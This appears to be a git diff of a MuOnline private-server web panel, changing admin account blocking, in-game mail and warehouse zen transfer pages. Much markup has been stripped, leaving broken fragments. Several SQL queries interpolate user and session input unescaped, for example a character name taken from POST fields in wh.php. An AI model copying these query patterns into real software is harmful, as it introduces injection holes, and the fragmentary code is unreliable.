" . $rowbr; - $result = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE bloc_code='1' ORDER BY block_date ASC"); - if(@mssql_num_rows($result) <= 0) {$blocked = "";} - else { - for($i=0;$i - +?> -
- +
- - + + - - - + + - - + + - - - - - - - - - - - - - - - - - - -
Mode:Your Level: + + () +
:Security Code:
Block Time:Admin Area:Enter
Block Date:
Block Reason:
-
- + +HEX Warehouse Can Edit!' . $rowbr; + $result = mssql_query("SELECT Money,extMoney,Items FROM dbo.warehouse where AccountId='{$_SESSION['user']}'"); + $row = mssql_fetch_row($result); + $vault = bin2hex($row[2]); + ?> +
+ + + + + + + + + + + +
+ +
+ : + + + : + +
+ + +
+
+ GameMaster Chat In Game!' . $rowbr; + $gmMessage = isset($_POST['gm_msg']) + ? $_POST['gm_msg'] + : $_SESSION['character'] . ': TEXT'; + ?> +
+ + + + + + + +
+ + +
+
+ Set Block and UnBlock acc!' . $rowbr; + $result = mssql_query("SELECT memb___id FROM dbo.MEMB_INFO WHERE bloc_code=1 ORDER BY block_date "); + $blocked = ''; + if (mssql_num_rows($result) > 0) { + $blocked = ''; + while ($row = mssql_fetch_row($result)) { + $blocked .= ''; + } + } + ?> + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode: + +
+ +
Block Time: + +
Block Date:
Block Reason:
+ + +
+
+ -
Thank Vaflan For This MMW!
\ No newline at end of file + \ No newline at end of file diff --git a/modules/user/mail.php b/modules/user/mail.php index 239f3be..aa24020 100644 --- a/modules/user/mail.php +++ b/modules/user/mail.php @@ -1,125 +1,208 @@ - - - - "; - } +if (isset($_POST['delete_msg_inbox'])) { + $messageId = intval($_POST['delete_msg_inbox']); - $query = "declare @vault varbinary(13); SET @vault=(SELECT Photo FROM T_FriendMail where GUID='$char_guid' and MemoIndex='$view_msg_inbox'); print @vault;"; - //$result = mssql_query($query); - //$vault = substr(mssql_get_last_message(),0); - //echo 'Photo: ' . $vault; -?> - - - - - - - - - - - - - - - - - -
:
:
:
:
- -
- - - - - - - - - - - - - - - - - -
:
:
:
:
-
-= 50) { + echo $die_start . mmw_lang_subject_max_length . $die_end; + } elseif (empty($toGUID)) { + echo $die_start . mmw_lang_character_does_not_exist . $die_end; + } elseif ($toCharacterResult) { + $date = date('m/d/y H:i:s'); + $context = '0x' . bin2hex($context); -// List Message -if($inbox_msg = @mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,bRead,photo FROM T_FriendMail WHERE GUID='$char_guid' ORDER BY MemoIndex DESC")) {$inbox_msg_num = @mssql_num_rows($inbox_msg);} -else {$inbox_msg_num = 0; echo $die_start . mmw_lang_error_mail_table . $die_end . $rowbr;} -?> - - - - - - - - - - 0) { - for($i=0;$i < $inbox_msg_num;++$i) { - $select_msg = mssql_fetch_row($inbox_msg); + $characterClass = current(mssql_fetch_row(mssql_query("SELECT Class FROM dbo.Character WHERE Name='{$_SESSION['character']}'"))); + $characterPhoto = char_class($characterClass, 'photo'); - $msg_table_view =" - - - "; + $query = "INSERT INTO dbo.T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Photo, Dir, Act) + VALUES ({$memoIndex},{$toGUID},'{$_SESSION['character']}','{$date}','{$subject}',0,{$context},{$characterPhoto},143,2)"; + if (mssql_query($query)) { + mssql_query("UPDATE dbo.T_FriendMain SET + [MemoCount]=[MemoCount]+1, [MemoTotal]=(SELECT COUNT(*) FROM dbo.T_FriendMail WHERE GUID='{$toGUID}') + WHERE GUID='{$toGUID}' + "); + echo $okey_start . mmw_lang_message_sent . ' ' . $toCharacter . $okey_end; + } else { + echo $die_start . 'ErroR Query ' . $context . $die_end; + } + } else { + echo $die_start . 'It does not work in an old version!' . $die_end; + } + echo $rowbr; +} - $msg_table_delete =" - - - "; +// Start View Msg +if (isset($_POST['view_msg_inbox'])) { + $messageId = intval($_POST['view_msg_inbox']); + $view_msg_sql = mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,Memo,bRead FROM dbo.T_FriendMail WHERE GUID='{$characterGUID}' AND MemoIndex='{$messageId}'"); + $view_msg_row = mssql_fetch_row($view_msg_sql); + if (empty($view_msg_row[5])) { + mssql_query("UPDATE dbo.T_FriendMail SET [bRead]=1 WHERE GUID='{$characterGUID}' AND MemoIndex='{$messageId}'"); + } + ?> +
+ + + + + + + + + + + + + + + + +
: + + +
+ + +
+ +
:
:
:
+ ';} - if($select_msg[4]=='1') {$img_msg ='';} +// Start Send Msg +if (!empty($_GET['to'])) { + $send_to = clean_var(stripslashes($_GET['to'])); + $send_msg_subject = ''; + if (isset($_POST['subject'])) { + $send_msg_subject = $_POST['subject']; + } elseif (isset($_POST['send_msg_subject'])) { + $send_msg_subject = 'RE: ' . $_POST['send_msg_subject']; + } + ?> +
+ + + + + + + + + + + + + + + + + +
:
: + +
: + +
: + + + +
+
+ - $select_msg[1] - ".win_to_utf($select_msg[2])." - ".time_format($select_msg[3],"d M Y, H:i")." - $msg_table_view - $msg_table_delete - $img_msg - "; - } + +// List Message +if ($inbox_msg = mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,bRead FROM dbo.T_FriendMail WHERE GUID='{$characterGUID}' ORDER BY MemoIndex DESC")) { + $inbox_msg_num = mssql_num_rows($inbox_msg); +} else { + $inbox_msg_num = 0; + echo $die_start . mmw_lang_error_mail_table . $die_end . $rowbr; } -else {echo ''.mmw_lang_no_message.'';} ?> - \ No newline at end of file + + + + + + + + + + + + + 0) { + while ($select_msg = mssql_fetch_row($inbox_msg)) { + $messageStatus = empty($select_msg[4]) + ? 'msg_unread.gif' + : 'msg_read.gif'; + ?> + + + + + + + + +'; + } + ?> + +
+ status + +
+ + +
+
+
+ + +
+
' . mmw_lang_no_message . '
diff --git a/modules/user/wh.php b/modules/user/wh.php index 565dae3..0a477fa 100644 --- a/modules/user/wh.php +++ b/modules/user/wh.php @@ -1,70 +1,185 @@ - 0) { - $row = mssql_fetch_row($result); - if(empty($row[1]) || $row[1]==" ") {$row[1]="0";} - if(empty($row[2]) || $row[2]==" ") {$row[2]="0";} -?> - - - - - - - - - - - - - - - - - - -".mmw_lang_extra_ware_house.""; - - $result = mssql_query("SELECT AccountID,Name,Money FROM character WHERE accountid='$login'"); - for($i=0;$i < mssql_num_rows($result);++$i) { - $row = mssql_fetch_row($result); -?> - - - - - -$row[1]"; - } -?> -
ZenMax Zen
~
- - - -
- - - - - - - - - - - - - -
Zen
-
- - - - \ No newline at end of file + 'Money', + 'table' => 'warehouse', + 'extend_where' => '', + ); + if ($point === 'ewh') { + $queryBuilder['column'] = 'extMoney'; + } + if (substr($point, 0, 2) === 'ch') { + $queryBuilder['table'] = 'Character'; + $queryBuilder['extend_where'] = "AND Name='" . substr($point, 2) . "'"; + } + + /** @noinspection SqlWithoutWhere */ + $query = empty($update) + ? "SELECT {$queryBuilder['column']} FROM dbo.{$queryBuilder['table']}" + : "UPDATE dbo.{$queryBuilder['table']} SET [{$queryBuilder['column']}] = [{$queryBuilder['column']}] + {$update}"; + + return "{$query} WHERE AccountId='{$_SESSION['user']}' {$queryBuilder['extend_where']}"; +} + +if ($acc_online_check === 0) { + if (isset($_POST['zen'])) { + $from = stripslashes($_POST['from_wh']); + $to = stripslashes($_POST['to_wh']); + $zen = intval(str_replace('k', '000', $_POST['zen'])); + + // From + $queryFrom = whQueryBuilderZen($from); + $resultFrom = mssql_query($queryFrom); + $rowFrom = mssql_fetch_row($resultFrom); + $fromCountZen = empty($rowFrom[0]) + ? 0 + : $rowFrom[0]; + + // To + $queryTo = whQueryBuilderZen($to); + $resultTo = mssql_query($queryTo); + $rowTo = mssql_fetch_row($resultTo); + $toCountZen = empty($rowTo[0]) + ? 0 + : $rowTo[0]; + + $fromEnd = $fromCountZen - $zen; + $toEnd = $toCountZen + $zen; + + $error = false; + if (empty($_POST['from_wh']) || empty($_POST['to_wh']) || empty($_POST['zen'])) { + $error = true; + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif (!preg_match('/^\d+$/', $zen)) { + $error = true; + echo $die_start . mmw_lang_zen_must_be_number . $die_end; + } elseif ($from === $to) { + $error = true; + echo $die_start . mmw_lang_zen_cant_move . $die_end; + } elseif ($fromEnd < 0) { + $error = true; + echo $die_start . mmw_lang_not_Zen_to_move . $die_end; + } elseif ($to != 'ewh' && $toEnd > $mmw['max_char_wh_zen']) { + $error = true; + echo $die_start . mmw_lang_zen_more_max . ' ' . zen_format($mmw['max_char_wh_zen']) . ' Zen!' . $die_end; + } + + if (!$error) { + mssql_query(whQueryBuilderZen($from, -$zen)); + mssql_query(whQueryBuilderZen($to, $zen)); + echo $okey_start . zen_format($zen) . ' ' . mmw_lang_zen_moved . $okey_end; + writelog('money', 'Acc ' . $_SESSION['user'] . ' Has Been from: ' . $fromCountZen . ' ' . $from . '|to: ' . $toCountZen . ' ' . $to . '|how many: ' . $zen . '|from end: ' . $fromEnd . '|to end: ' . $toEnd); + } + echo $rowbr; + } + + $language = array( + 'where' => mmw_lang_where, + 'extra_ware_house' => mmw_lang_extra_ware_house, + 'ware_house' => mmw_lang_ware_house, + 'zen_from' => mmw_lang_zen_from, + 'zen_to' => mmw_lang_zen_to, + 'send' => mmw_lang_send, + 'renew' => mmw_lang_renew, + ); + + $result = mssql_query("SELECT Money,extMoney FROM dbo.warehouse WHERE accountid='{$_SESSION['user']}'"); + + if (mssql_num_rows($result)) { + $whRow = mssql_fetch_row($result); + $whMoney = zen_format(empty($whRow[0]) ? 0 : $whRow[0]); + $whExtraMoney = zen_format(empty($whRow[1]) ? 0 : $whRow[1]); + + $maxCharacterWarehouseZenCount = zen_format($mmw['max_char_wh_zen'], 'small'); + $charactersInfo = ''; + $selectFromTo = '' + . ''; + + $result = mssql_query("SELECT Name,Money FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'"); + while ($row = mssql_fetch_row($result)) { + $zenCount = zen_format($row[1]); + + $charactersInfo .= << + {$row[0]} + {$zenCount} + {$maxCharacterWarehouseZenCount} + +HTML; + $selectFromTo .= ''; + } + + echo << + + + {$language['where']} + Zen + Max Zen + + + + {$language['extra_ware_house']} + {$whExtraMoney} + ~ + + + {$language['ware_house']} + {$whMoney} + {$maxCharacterWarehouseZenCount} + + {$charactersInfo} + + + {$rowbr} + +
+ + + + + + + + + + + + + + + + +
{$language['zen_from']}
{$language['zen_to']}
Zen + +
+ + +
+
+HTML; + + } else { + echo $die_start . mmw_lang_check_vault_keeper_in_game . $die_end; + } +} elseif ($acc_online_check === 1) { + echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; +} else { + echo $die_start . 'I find you Hacker! :)' . $die_end; +} diff --git a/popunder.txt b/popunder.txt index 53c5edc..ffd74b1 100644 --- a/popunder.txt +++ b/popunder.txt @@ -1,8 +1,8 @@ - \ No newline at end of file + + MyMuWeb TOP! + \ No newline at end of file diff --git a/scripts/functions.js b/scripts/functions.js index e71ccad..f162d7b 100644 --- a/scripts/functions.js +++ b/scripts/functions.js @@ -1,92 +1,246 @@ -// All this Java Script -// Be Find By Vaflan -// And Edited By Vaflan - -function expandit(curobj, hide) { - if(document.getElementById(curobj)) { - folder=document.getElementById(curobj).style; - } - else { - if(ns6==1||operaaa==true) {folder=curobj.nextSibling.nextSibling.style;} - else {folder=document.all[curobj.sourceIndex+1].style;} - } - if(folder.display=="none") {folder.display="";} - else {folder.display="none";} - if(hide) { - var hide_objects = hide.split(","); - for(i=0; i